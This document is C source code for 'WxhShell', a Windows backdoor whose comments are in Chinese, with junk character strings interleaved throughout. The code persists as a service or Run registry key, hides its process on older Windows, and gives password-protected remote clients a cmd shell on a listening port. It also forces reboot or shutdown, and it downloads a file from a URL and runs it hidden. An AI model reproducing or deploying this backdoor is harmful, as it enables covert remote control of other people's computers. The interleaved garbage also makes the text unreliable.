} PROCESS_BASIC_INFORMATION; BT;hW7){9 rHPda?&H PROCNTQSIP NtQueryInformationProcess; E@TX>M-& WRU/^g3O@' static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; O%5cMz?eU static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sv\'XarM |0FRKD] HANDLE hProcess; 0fA42*s; PROCESS_BASIC_INFORMATION pbi; HmKvu"3 \eF5* {9 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UgDai?b1 if(NULL == hInst ) return 0; ! utgo/n 16/+ O$#y g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <_@ K4zV g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 6}
"?eW NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I7TdBe- 2Fi>nJ if (!NtQueryInformationProcess) return 0; 0/hX3h *I%r
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jC+>^=J( if(!hProcess) return 0; SjD, %AW5\ EX if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K:yS24\% mE)65@3% CloseHandle(hProcess); %Q5D#d"p` uXq?Z@af|f hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LqIMU4Ex if(hProcess==NULL) return 0; ANtp7ad X<@yt HBv HMODULE hMod; 6GX'&z char procName[255]; Ag}V>i' unsigned long cbNeeded; qd{o64;| pcXY6[#N if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); HX\@Qws nN>D=a"&F CloseHandle(hProcess); 3U<\y6/ 0h!2--Aur if(strstr(procName,"services")) return 1; // 以服务启动 BF8n: }9U @_^QBw0 return 0; // 注册表启动 %Y%+K5;AZ } :,rD5aOQ 4 q}1 // 主模块 1<A+.W int StartWxhshell(LPSTR lpCmdLine) k$:QpTg[ { f^](D'L?D SOCKET wsl; WS9n.opl} BOOL val=TRUE; Ug^C}".& int port=0; !+& NG&1 struct sockaddr_in door; h95C4jBE S`2M QL if(wscfg.ws_autoins) Install(); .vNfbYH( ka{9{/dz3 port=atoi(lpCmdLine); "L@qjSs8 3~6F`G if(port<=0) port=wscfg.ws_port; hKtOh *E0+! WSADATA data; hRb
k-b if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dvxD{UH /-z_"G if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; !_E E|#`n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EA7]o.Nm*{ door.sin_family = AF_INET; 1~8F& door.sin_addr.s_addr = inet_addr("127.0.0.1"); z door.sin_port = htons(port); 6yk St,IWOmq" if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RI w6i?/I closesocket(wsl); 7p3 ;b"' return 1; =bs4*[zq } 2g-'.w +P|$T:b if(listen(wsl,2) == INVALID_SOCKET) { 7c!oFwM closesocket(wsl); ~6U@*Svk return 1; 3Zg=ZnF } U@yrqT@;AU Wxhshell(wsl); Rg)\o(J WSACleanup(); yGgHd=? `}k!SqG return 0; 9pE)S^P %8`zaa } 95(c{
l/ mmY~V:,Kd // 以NT服务方式启动 JiZ9ly(G VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;nLQ?eS\ { Z]$yuM DWORD status = 0; vq$%Ug/B DWORD specificError = 0xfffffff; O8SX#,3^} ;1S{xd*^N serviceStatus.dwServiceType = SERVICE_WIN32; ]w%7/N0R serviceStatus.dwCurrentState = SERVICE_START_PENDING; FU!U{qDI serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V5KAiG<d serviceStatus.dwWin32ExitCode = 0; W()FKP\??! serviceStatus.dwServiceSpecificExitCode = 0; ERL(>) serviceStatus.dwCheckPoint = 0; X ~4^$x serviceStatus.dwWaitHint = 0; v3S{dX< 25ul,t_Du hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); s .^9;%@$J if (hServiceStatusHandle==0) return; lO%Z4V_Mj n$y1k D status = GetLastError(); BdUhFN* if (status!=NO_ERROR) 5yp~PhHf { *-Lnsi^7v serviceStatus.dwCurrentState = SERVICE_STOPPED; ,qiS;2( serviceStatus.dwCheckPoint = 0; 9L%&4V}BIS serviceStatus.dwWaitHint = 0; 9^0 'VRG serviceStatus.dwWin32ExitCode = status; @l"GfDfL9 serviceStatus.dwServiceSpecificExitCode = specificError; sC
]&Qr_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); F"hi2@/TI return; [KWF7GQi } mfG|K@ODM- pSQ3SM serviceStatus.dwCurrentState = SERVICE_RUNNING; <WaiJy? serviceStatus.dwCheckPoint = 0; PZLW yp serviceStatus.dwWaitHint = 0; dcU|y%k% if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); oLruYSaD } }y|%wym Uo^s]H#: // 处理NT服务事件,比如:启动、停止 kKE2~ q VOID WINAPI NTServiceHandler(DWORD fdwControl) j])iyn~-Ke { !SJmu}OB] switch(fdwControl) LU?#{dZ { t8GJ; case SERVICE_CONTROL_STOP: 1Od:I}@ serviceStatus.dwWin32ExitCode = 0; ddnWr"_ serviceStatus.dwCurrentState = SERVICE_STOPPED; SKLQAE5 serviceStatus.dwCheckPoint = 0; NWCnt,FlY serviceStatus.dwWaitHint = 0; l[ @\!;| { 6J%SkuxR SetServiceStatus(hServiceStatusHandle, &serviceStatus); XF^c(*5 } ys+?+dY2 return; #l;Ekjfz case SERVICE_CONTROL_PAUSE: 6ap,XFRMh serviceStatus.dwCurrentState = SERVICE_PAUSED; z@~1e]% break; <]wN/B-8J case SERVICE_CONTROL_CONTINUE: }'H Da M serviceStatus.dwCurrentState = SERVICE_RUNNING; M*c\=( break; m
7 Fz&bN case SERVICE_CONTROL_INTERROGATE: )QBsyN<x6 break; *tRJ= }; apY m,_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); u8o7J(aQsR } 9\Xl3j! q<hN\kBs // 标准应用程序主函数 sE/9~L int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pv1psKu { Y%=A>~s*c: WR'A%"qBwi // 获取操作系统版本 &-cI| OsIsNt=GetOsVer(); MIR17%G GetModuleFileName(NULL,ExeFile,MAX_PATH); Q&QR{?PMD WM@uxe, // 从命令行安装 <wE2ly&x if(strpbrk(lpCmdLine,"iI")) Install(); Jr''S}@|x ]|[xY8 5} // 下载执行文件 ,R^Pk6m> if(wscfg.ws_downexe) { saRB~[6I if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) H?'VQ=j WinExec(wscfg.ws_filenam,SW_HIDE); "X]ufZ7 } //LXbP3/ ;V@}
oD+ if(!OsIsNt) { `gss(o1} // 如果时win9x,隐藏进程并且设置为注册表启动 { @-Q1 HideProc(); :A[bqRqe StartWxhshell(lpCmdLine); ww\/$ | } k*!J,/=k else [dzb{M6_ if(StartFromService()) jNIM1_JjD // 以服务方式启动 '6 /uc:zv StartServiceCtrlDispatcher(DispatchTable); ~NTpMF else aD&10b9` // 普通方式启动 efbt\j6@%2 StartWxhshell(lpCmdLine); vG\Wr.h0!= W_DO8nX return 0; v>nJy~O] } 10[~ki-1; LXXxwIBS p19Zxh uWfse19 =========================================== [ B (lJz ]a:kP, a:;*"p[R Y7{|EI+@ pt0H*quwI ol[{1KT{ " J,~)9Kh$ 5#d(_ #include <stdio.h> 2l!"OiB.P #include <string.h> *|=&MU*+ #include <windows.h> r?[mn^Bo 5 #include <winsock2.h> N%?o-IY #include <winsvc.h> 6u.b?_u #include <urlmon.h> d3{Zhn@ be764do #pragma comment (lib, "Ws2_32.lib") Eui;2P~ #pragma comment (lib, "urlmon.lib") 71A{" d&ZwVF! #define MAX_USER 100 // 最大客户端连接数 4\$Ze0tv #define BUF_SOCK 200 // sock buffer /60[T@Mz #define KEY_BUFF 255 // 输入 buffer @DUdgPA )0GnTB;5Z #define REBOOT 0 // 重启 O]PfQ #define SHUTDOWN 1 // 关机 dT|z)-Z` i#-Jl7V[a #define DEF_PORT 5000 // 监听端口 #dl8+ kfVG@ o?o #define REG_LEN 16 // 注册表键长度 Tbwq_3fK #define SVC_LEN 80 // NT服务名长度 22*t%{( I|LS_m // 从dll定义API JPpYT~4 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oqY?#p/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xoik%T- typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T.|0;Eb typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); wG|3
iFK VAthQ< // wxhshell配置信息 ~/#?OLj(T struct WSCFG { ke4q$pD int ws_port; // 监听端口 L;f=\q"g char ws_passstr[REG_LEN]; // 口令 K9P"ncMt int ws_autoins; // 安装标记, 1=yes 0=no KC]Jbm{y char ws_regname[REG_LEN]; // 注册表键名 -s)2b
; char ws_svcname[REG_LEN]; // 服务名 Zk/NO^1b char ws_svcdisp[SVC_LEN]; // 服务显示名 0 /kbxpih char ws_svcdesc[SVC_LEN]; // 服务描述信息 CX:^]wY char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FQ87[|
S int ws_downexe; // 下载执行标记, 1=yes 0=no JZtFt=>q char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" HaC3y[ LJ0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 B`WfJ2*2 =L=#PJAPj }; '^J/aV k}O|4*.BT // default Wxhshell configuration 9D|
FqU | struct WSCFG wscfg={DEF_PORT, R utW{wh "xuhuanlingzhe", .kYzB.3@] 1, ?ykZY0{B "Wxhshell", q-o>yjT~ "Wxhshell", \=_8G:1 "WxhShell Service", 0Fw\iy1o "Wrsky Windows CmdShell Service", ps[6)d)o "Please Input Your Password: ", ^GAdl} 1, oy`m:Xp "http://www.wrsky.com/wxhshell.exe", g:6yvEu$ - "Wxhshell.exe" ^&<*$Ai~ }; s7
KKH
w c%U$qao=c+ // 消息定义模块 6vjB;uS[ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q%'ovX(dm char *msg_ws_prompt="\n\r? for help\n\r#>"; 395o[YZx* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ i&$ZdX char *msg_ws_ext="\n\rExit."; 5]Ra?rF char *msg_ws_end="\n\rQuit."; `MwQ6%lf char *msg_ws_boot="\n\rReboot..."; $oQsh|sTI char *msg_ws_poff="\n\rShutdown..."; 6P~"7k char *msg_ws_down="\n\rSave to "; v-gT
3kJ rzmk-V char *msg_ws_err="\n\rErr!"; [.I,B tY+ char *msg_ws_ok="\n\rOK!"; WV @Tm$r $`Xx5Ts7 char ExeFile[MAX_PATH]; '-S&i{H int nUser = 0; LWL>hd HANDLE handles[MAX_USER]; b c4x"]! int OsIsNt; __fR #D Y) h%<J SERVICE_STATUS serviceStatus; 8 (KfX% SERVICE_STATUS_HANDLE hServiceStatusHandle; rO`g~>- .apX72's, // 函数声明 u20b+c4 int Install(void); _]S6> int Uninstall(void); +{%4&T<nHw int DownloadFile(char *sURL, SOCKET wsh); <D dHP int Boot(int flag); 0V#t ;`Q3 void HideProc(void); )[)]@e int GetOsVer(void); Y z,!#ob$ int Wxhshell(SOCKET wsl); /2cI{]B void TalkWithClient(void *cs); ,SM- Z`' int CmdShell(SOCKET sock); :I'Ezxv| int StartFromService(void); -Wn.@bz6B int StartWxhshell(LPSTR lpCmdLine); '*XNgvX u/[]g+ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \l:g{GnoT VOID WINAPI NTServiceHandler( DWORD fdwControl ); |Hm'.- ?iLd5 Z // 数据结构和表定义 ,?`1ve_K< SERVICE_TABLE_ENTRY DispatchTable[] = IeB6r+4| { NslA/"* {wscfg.ws_svcname, NTServiceMain}, U>+~.|'V9 {NULL, NULL} L_|uB }; 7L+X\oaB BXo|CITso // 自我安装 @Y<tH,* int Install(void) uT/B}`md { h*KHEg"+ char svExeFile[MAX_PATH]; a-E-hX2 HKEY key; w~U`+2a3 strcpy(svExeFile,ExeFile); rc$!$~|I3Z 6}T%m?/ } // 如果是win9x系统,修改注册表设为自启动 W|#ev*'F if(!OsIsNt) { euhZ4+ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cXY'>N RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); --twkD RegCloseKey(key); j?f <hQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {~t4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); D' `"_ RegCloseKey(key); E)JyKm. return 0; ^B5cNEO } S@g/Tn } (`]*Y(/2G } i5KwYoN else { V0Z7o\-J !NYM(6!( // 如果是NT以上系统,安装为系统服务 gc@#O#K~h^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); &7w>K6p if (schSCManager!=0) M6'C 3,y0 { yJ8}*Gj& SC_HANDLE schService = CreateService ING_:XpnJ ( MXF"F:-Kn schSCManager, H~|%vjH wscfg.ws_svcname, ARdGh_yJ& wscfg.ws_svcdisp, FMdLkyK; SERVICE_ALL_ACCESS, a9Fm Y` SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , iEviH>b5 SERVICE_AUTO_START, jN%p5nZ^EK SERVICE_ERROR_NORMAL, 7vaN&%;E% svExeFile, NceB'YG| NULL, t/*K#]26 NULL, 7+a%ehwU NULL, F> QT| NULL, `f+8WPJPZ NULL dBMe`hM) ); *fl{Y(_OO if (schService!=0) `MsYgd { >I&
jurU# CloseServiceHandle(schService); e$EF% cKH CloseServiceHandle(schSCManager); @y(Wy} strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v"r9|m~ ' strcat(svExeFile,wscfg.ws_svcname); 0R}Sw[M. if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >_`D3@Rz RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [DxefYyI RegCloseKey(key); aGe(vQPi9 return 0; q[7d7i/r6 } `8(h,aj; } o? i.v0@!K CloseServiceHandle(schSCManager); v]T(zL| } 5Y Q } 'dc+M9u)_q Q*:h/Lhb& return 1;
f5aF6FBH } 6%kJDY. bqrJP3 // 自我卸载 |jk-@ Z* int Uninstall(void) &QTeGn { c',:@2R HKEY key; &'(a$S>v Q+d.%qhc if(!OsIsNt) { [2'm`tZL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v1nQs=' RegDeleteValue(key,wscfg.ws_regname); Fi'M"^:r{ RegCloseKey(key); z]c,}Q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q)Iv_N/ RegDeleteValue(key,wscfg.ws_regname); icPp8EwH RegCloseKey(key); 'cZMRRc< return 0; =zm0w~']E! } V3mjbH>F } *IWFeu7y } 7-d}pgVK else { {OO*iZ.O ov`^o25f SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?+n&hHRg if (schSCManager!=0) qByNHo7Tb { (/U)>%n SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U|J$?aFDr if (schService!=0) 5fu+rU-# { ,\lYPx\P[ if(DeleteService(schService)!=0) { %o@['9U[j CloseServiceHandle(schService); 2f19W#
'0 CloseServiceHandle(schSCManager); Z'Exw-ca return 0; *BLe3dok( } 3vdu;W=Sz CloseServiceHandle(schService); :}@C9pqr2 } 2.LJp}> CloseServiceHandle(schSCManager); Q(|PZng } o)%-l4S } ,-(T"Ph< id;#{O$ return 1; b96t0w!cs } 7uPZuXHxcu r$GPYyHK // 从指定url下载文件 l'*^$qc int DownloadFile(char *sURL, SOCKET wsh) k0|`y U { ietRr!$. HRESULT hr; sI&i{D char seps[]= "/"; xF(
bS+(o char *token; [1{SY=) char *file; qoC]#M$oo# char myURL[MAX_PATH]; qzA`d
5rX char myFILE[MAX_PATH]; C8IkpAD YV/>8*i strcpy(myURL,sURL); 1,"I= token=strtok(myURL,seps); ~+O `9& while(token!=NULL) m'cz5mcD { E X%6''ys file=token; `$s)X$W? token=strtok(NULL,seps); kSbO[)p } Jd5\&ma k"xGA*B| GetCurrentDirectory(MAX_PATH,myFILE); {=UFk-$= strcat(myFILE, "\\"); h+,'B&=|_ strcat(myFILE, file); d_Q*$Iz)3 send(wsh,myFILE,strlen(myFILE),0); #zON_[+s9 send(wsh,"...",3,0); 0QMTIAW6h hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #D+7TWDwNt if(hr==S_OK) t})lr\ return 0; EL^8zyg%% else ))7LE|1l return 1; eV"!/A2:N5 'X =p7 d|' } )~ 0}Et l o:2Q2+d // 系统电源模块 D.'h?^kA int Boot(int flag) JD6aiI!Su { C5P$&s\ HANDLE hToken; w8O" =}, TOKEN_PRIVILEGES tkp; IY=/`g AXwaVLEBQ if(OsIsNt) { NS`07 #z^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n( g)UNx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &
_; y.! tkp.PrivilegeCount = 1; 2w+U$6e C tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; lnS(&`oh\= AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L7'%;?Z if(flag==REBOOT) { UMV)wy|j if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @;vNX*-J return 0; z{9=1XY } +l`65!" else { 'Qa5n\HX$ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eD%HXGe return 0; 96d~~2p } 1y
J5l,q } (Uk>?XAr else { xc9YM0B& if(flag==REBOOT) { @@I7$* if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s~*}0-lS return 0; 9 Ycn0 } xJ{_qP else { vY6oVjM if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XZ`:wmc| return 0; oM!xz1kVL } :.kZR; } 07V8;A<, `vd= ec return 1; <$%X<sDkq } !/`$AXO iPq &Y* // win9x进程隐藏模块 hoa7 void HideProc(void) H{l) { ^$v3eKA rLU'*} HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); -KH)J if ( hKernel != NULL ) b_TS<, { 98RKCc9h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ~@T<gA9V ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); c.AYxI" FreeLibrary(hKernel); ~vHk&r]| } F.tfgW(A@ mpgO s return; _]b3,%2 } ]mQw,S)/" sIy // 获取操作系统版本 =<c#owe:m int GetOsVer(void) Xa," 'r { ~. YWV OSVERSIONINFO winfo; Z:*@5 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5c5oSy+ GetVersionEx(&winfo); Z&Y=`GOI if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8S]". return 1;
(hB? else "9IYB)Js return 0; (-0ePSOG } D-2.fjo9! 7Vu ? // 客户端句柄模块 qH>`}/,P int Wxhshell(SOCKET wsl) %dMqpY7" { L[g0&b%%- SOCKET wsh; *>NX%by) struct sockaddr_in client; PRkSQ4 DWORD myID; k|vI<:'p, iDoDwq!l_ while(nUser<MAX_USER) #*9-d/K {
7I=C+ int nSize=sizeof(client); J@_ctGv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %'
$o" if(wsh==INVALID_SOCKET) return 1; T f4tj!t- <q
(z>*-e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p =(@3%k if(handles[nUser]==0) 2o3EHZ+]cm closesocket(wsh); )@gZ;`n else 7j$Pt8$ nUser++; #>[a{<;Kn } q5x[~]? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5O<>mCF :i~W
}r return 0; eS+g| $cW } ~g#r6pzN- 4dawg8K`9 // 关闭 socket #3$\Iu void CloseIt(SOCKET wsh) izgp*M, { @{hd{>K* closesocket(wsh); Bc7V)YK nUser--; G7GZDi ExitThread(0); P>i%7:OMZA } P 1XK*GZ m<rhIq // 客户端请求句柄 NGC,lv void TalkWithClient(void *cs) '3 33Ctxy { 1x)ZB~L %" D%: SOCKET wsh=(SOCKET)cs; gF?[rqz{ char pwd[SVC_LEN]; N8toxRu char cmd[KEY_BUFF]; TlZT1H char chr[1]; dS2G}L^L int i,j; hR#-u1C F&RgT1* while (nUser < MAX_USER) { L<^j"!0 = ?D(g if(wscfg.ws_passstr) { tVuWVJ4M if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _"@CGXu //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ` x8J //ZeroMemory(pwd,KEY_BUFF); h4|i%,f i=0; ]z/Zq while(i<SVC_LEN) { fKH7xu!V4+ \Ig68dFf% // 设置超时 K5Q43e1 fd_set FdRead; 3`E=#ff% struct timeval TimeOut; /X"/ha!=&D FD_ZERO(&FdRead); Wj|alH9< FD_SET(wsh,&FdRead); Zxr!:t7 TimeOut.tv_sec=8; N;Dp~(1
J1 TimeOut.tv_usec=0; >F1kR\! int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (jjTK'0[ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zGKyN@o C+[%7vF1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kt@M)# pwd=chr[0]; ^d}gpin if(chr[0]==0xd || chr[0]==0xa) { }KUd7[s pwd=0; GSclK|#tE break; q6Rr.A } ,.iRnR
i++; W1fW}0
} ~5Pb&+<$ 6E(Qx~iL // 如果是非法用户,关闭 socket o#) {1<0vg if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &Z(K6U#. } **9x?s n0Y+b[+wj send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _Zk{! send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NBl+_/2'w )?+$x[f!* while(1) { 1b=lpw1} oSiMpQu08 ZeroMemory(cmd,KEY_BUFF); )?_#gLrE6 ;!:U((wv // 自动支持客户端 telnet标准 :w}{$v}#D; j=0; T134ZXqqz while(j<KEY_BUFF) { V7#v6!7A@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4BnSqw a_ cmd[j]=chr[0]; EA ]+vq if(chr[0]==0xa || chr[0]==0xd) { KT]Pw\y5 cmd[j]=0; ?
WJ> p break; ^`un'5Vk } w=b)({`M j++; XE^)VLH: } _zlqtO zvABU+{jD // 下载文件 BA\/YW @ if(strstr(cmd,"http://")) { `:N# 'i send(wsh,msg_ws_down,strlen(msg_ws_down),0); .MO\uh0N if(DownloadFile(cmd,wsh)) " \I4u{zC send(wsh,msg_ws_err,strlen(msg_ws_err),0); "KcA else n>@oBG)! send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >WY#4 } zD?oXs else { {vAE:W.s $w"$r$K9K switch(cmd[0]) { /cc\fw1+ o7IxJCL=Q // 帮助 hig2
case '?': { [+O"<Ua send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); GfM;saTz{ break; j
";2o( } (sVi\R // 安装 nUkaz*4qU case 'i': { '_|h6<.k[ if(Install()) XL7h} send(wsh,msg_ws_err,strlen(msg_ws_err),0); lu Q~YjH else Mq';S^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cuOvN"nuNj break; (O0Urm } R|i/lEq // 卸载 Da"j E case 'r': { <n3!{w3< if(Uninstall()) C6rg<tCH send(wsh,msg_ws_err,strlen(msg_ws_err),0); NcY608C else }9nDo*A"} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9"g6C< break; R8.CC1Ix } K~ ;45Z2 // 显示 wxhshell 所在路径 1S@vGq} case 'p': { JxyB( char svExeFile[MAX_PATH]; % YOndIS: strcpy(svExeFile,"\n\r"); T|tOTk strcat(svExeFile,ExeFile); r|,i'T send(wsh,svExeFile,strlen(svExeFile),0); GF3/ RT9 break; g-Pwp[!qkf } b!M"VDjQ // 重启 Nj("|`9" case 'b': { >E*$
E send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,o]4?- if(Boot(REBOOT)) ?yh}/T\qp send(wsh,msg_ws_err,strlen(msg_ws_err),0); *L!!]Q2c else { M DF%\Sx closesocket(wsh); g2unV[()_ ExitThread(0); 4H@Wc^K } |HZTN" break; pmX#E } 9c JH" // 关机 ?
w^- case 'd': {
&y<ZE send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); A&>.74}p if(Boot(SHUTDOWN)) V2N_8)s9W send(wsh,msg_ws_err,strlen(msg_ws_err),0); L/"0ws_ else { 28
3H closesocket(wsh); ~F1:N>>_Cf ExitThread(0); j(~ *'&|( } I$8" N]/C break; m*mm\wN5 } |ae97 5 // 获取shell EM\'GW case 's': { NKQOUw:qn CmdShell(wsh); hR.@b*q?R closesocket(wsh); L<fvKmo(fw ExitThread(0); Z}-Vf$O~ break; \e`~i@) ~Z } )#LpCM,a // 退出 5Ba[k[b^ case 'x': { Z{H5oUk send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bGorH=pb5R CloseIt(wsh); t='# |'); break; ;[a|9TPR } F]9nB3:W // 离开 x"~~l case 'q': { t!IaUW send(wsh,msg_ws_end,strlen(msg_ws_end),0); , lJv closesocket(wsh); JsotOic% WSACleanup(); /EG~sRvl} exit(1); 3QpYmX<E break; e)?Fi } R6=$u{D } ,\v91 Rp~? } &7_Qd4=08w Ja
,Cvt // 提示信息 k^OV56 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +}-@@, } Zy_V9j[n } Rar"B*b;$ 7==f\%, return; N~F
RM& x } Zk[&IBE_ JH8zF{? // shell模块句柄 q7&6r|w1I int CmdShell(SOCKET sock) R<V!%rL;; { D$JHs4 STARTUPINFO si; U"50_O ZeroMemory(&si,sizeof(si)); +d|mR9^([ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; asC_$tsMe si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +CI1V>6^ PROCESS_INFORMATION ProcessInfo; F-*2LMe char cmdline[]="cmd"; ?ByM[E$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gR@C0 return 0; 'ky b\q } n6k9~ "? wM|"I^[ // 自身启动模式 `~cuQ<3Tn
int StartFromService(void) 1nu^F,M { }@r{?8Ru typedef struct Ve
4u +0 { *@TZ+{t DWORD ExitStatus; N;+[`l DWORD PebBaseAddress; [{X^c.8G) DWORD AffinityMask; ?:Bv
iF);/ DWORD BasePriority; +[xnZ$Iev ULONG UniqueProcessId; (x q% ULONG InheritedFromUniqueProcessId; ?h1H.s2X } PROCESS_BASIC_INFORMATION; 7-BvFEM; RW P<B0) PROCNTQSIP NtQueryInformationProcess; X_v[MW `g,8- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G-T0f static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~0b O} Zo{$ HANDLE hProcess; VAXT{s&4> PROCESS_BASIC_INFORMATION pbi; u_).f<mUdF {f{ZHi| HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x=#VX\5k: if(NULL == hInst ) return 0; D?Ux[O zb K'h1szW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -Qn=|2Mm? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )P|[r NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C
